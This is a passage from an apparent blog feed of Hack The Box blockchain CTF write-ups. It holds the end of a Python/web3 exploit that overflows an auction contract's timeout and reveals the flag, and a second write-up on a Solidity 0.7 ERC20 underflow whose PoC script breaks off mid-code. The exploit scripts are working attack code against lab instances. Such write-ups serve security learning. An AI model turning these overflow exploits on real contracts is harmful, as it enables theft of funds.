&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: data,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gas&amp;#34;&lt;/span&gt;: gas,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;maxFeePerGas&amp;#34;&lt;/span&gt;: w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_wei(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gwei&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;maxPriorityFeePerGas&amp;#34;&lt;/span&gt;: w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_wei(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gwei&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    stx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; acct&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sign_transaction(tx)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    h &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send_raw_transaction(stx&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;raw_transaction)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    r &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;wait_for_transaction_receipt(h)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; h&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;hex(), r&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;status&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# fund second EOA for gas&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(send(acctA, acctB&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;address, value&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_wei(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ether&amp;#34;&lt;/span&gt;), gas&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;21000&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# set top bid to 2^63&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(send(acctA, TARGET, value&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt;)))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# overflow timeout with alternating 0-value bids&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; range(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;260&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cur_top, _ &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; top_bidder()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    nxt &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; acctB &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; cur_top&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;lower() &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; PLAYER&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;lower() &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; acctA&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    txh, st &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; send(nxt, TARGET, value&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, gas&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;120000&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; st &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;raise&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;RuntimeError&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;zero-bid failed at step &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;i&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;txh&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tmo &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; call_u256(TARGET, sel_timeout)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    now &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get_block(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;latest&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;timestamp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    top, bid &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; top_bidder()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; tmo &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; now &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt; top&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;lower() &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; PLAYER&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;lower():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ready&amp;#34;&lt;/span&gt;, i, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;timeout&amp;#34;&lt;/span&gt;, tmo, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;now&amp;#34;&lt;/span&gt;, now, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;top&amp;#34;&lt;/span&gt;, top, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;bid&amp;#34;&lt;/span&gt;, bid)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;break&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# claim&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(send(acctA, TARGET, data&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;sel_claim, gas&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;150000&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;solved_raw &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;call({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;to&amp;#34;&lt;/span&gt;: SETUP,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: sel_solved &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; bytes&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;fromhex(PLAYER[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;:]&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;rjust(&lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;isSolved:&amp;#34;&lt;/span&gt;, int&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;from_bytes(solved_raw, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;big&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;flag:&amp;#34;&lt;/span&gt;, requests&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get(BASE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/flag&amp;#34;&lt;/span&gt;, timeout&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;text)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;flag&#34;&gt;Flag&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTB{0v32f10w_70_w1n_7h3_4uc710n}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/pagevault&gt;</description>
    </item>
    <item>
      <title>HTB - Blockchain: Token to Wonderland</title>
      <link>/posts/htb-blockchain-token-to-wonderland/</link>
      <pubDate>Wed, 25 Feb 2026 01:42:00 +0700</pubDate>
      <guid>/posts/htb-blockchain-token-to-wonderland/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Token to Wonderland&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Blockchain&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal condition:&lt;/strong&gt; become owner of item index &lt;code&gt;2&lt;/code&gt; (&lt;code&gt;Golden Key&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The token contract uses Solidity 0.7 unchecked arithmetic and validates transfer with:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-solidity&#34; data-lang=&#34;solidity&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;require(fromBalance &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; amount &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ERC20: transfer amount exceeds balance&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That condition is broken in 0.7: subtraction underflow wraps instead of reverting.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exploit-chain&#34;&gt;Exploit Chain&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start with player balance = &lt;code&gt;100&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Transfer &lt;code&gt;101&lt;/code&gt; → underflow balance to huge value.&lt;/li&gt;&#xA;&lt;li&gt;Approve Shop to spend large amount.&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;buyItem(2)&lt;/code&gt; for &lt;code&gt;Golden Key&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;full-poc-script-pythonweb3&#34;&gt;Full PoC Script (Python/web3)&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; web3 &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; Web3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; eth_utils &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; keccak&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BASE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://&amp;lt;INSTANCE_IP&amp;gt;:&amp;lt;PORT&amp;gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;RPC &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; BASE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/rpc&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;info &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; requests&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get(BASE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/connection_info&amp;#34;&lt;/span&gt;, timeout&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;json()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;priv &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; info[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;PrivateKey&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;player &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Web3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_checksum_address(info[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Address&amp;#34;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;shop &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Web3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_checksum_address(info[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;TargetAddress&amp;#34;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;setup &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Web3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_checksum_address(info[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;setupAddress&amp;#34;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;w3 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Web3(Web3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;HTTPProvider(RPC))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;acct &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;account&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;from_key(priv)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Shop storage slot 1 holds SilverCoin address&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slot1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get_storage_at(shop, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;silver &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Web3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_checksum_address(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0x&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; slot1&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;hex()[&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;40&lt;/span&gt;:])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sig_transfer &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; keccak(text&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;transfer(address,uint256)&amp;#34;&lt;/span&gt;)[:&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sig_approve &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; keccak(text&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;approve(address,uint256)&amp;#34;&lt;/span&gt;)[:&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sig_buy &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; keccak(text&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;buyItem(uint256)&amp;#34;&lt;/span&gt;)[:&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sig_solved &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; keccak(text&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;isSolved(address)&amp;#34;&lt;/span&gt;)[:&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;pad32&lt;/span&gt;(x: int) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bytes:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; x&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_bytes(&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;big&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;pad_addr&lt;/span&gt;(a: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bytes:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; bytes&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;fromhex(a[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;:]&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;rjust(&lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;send&lt;/span&gt;(to, data, gas&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;180000&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 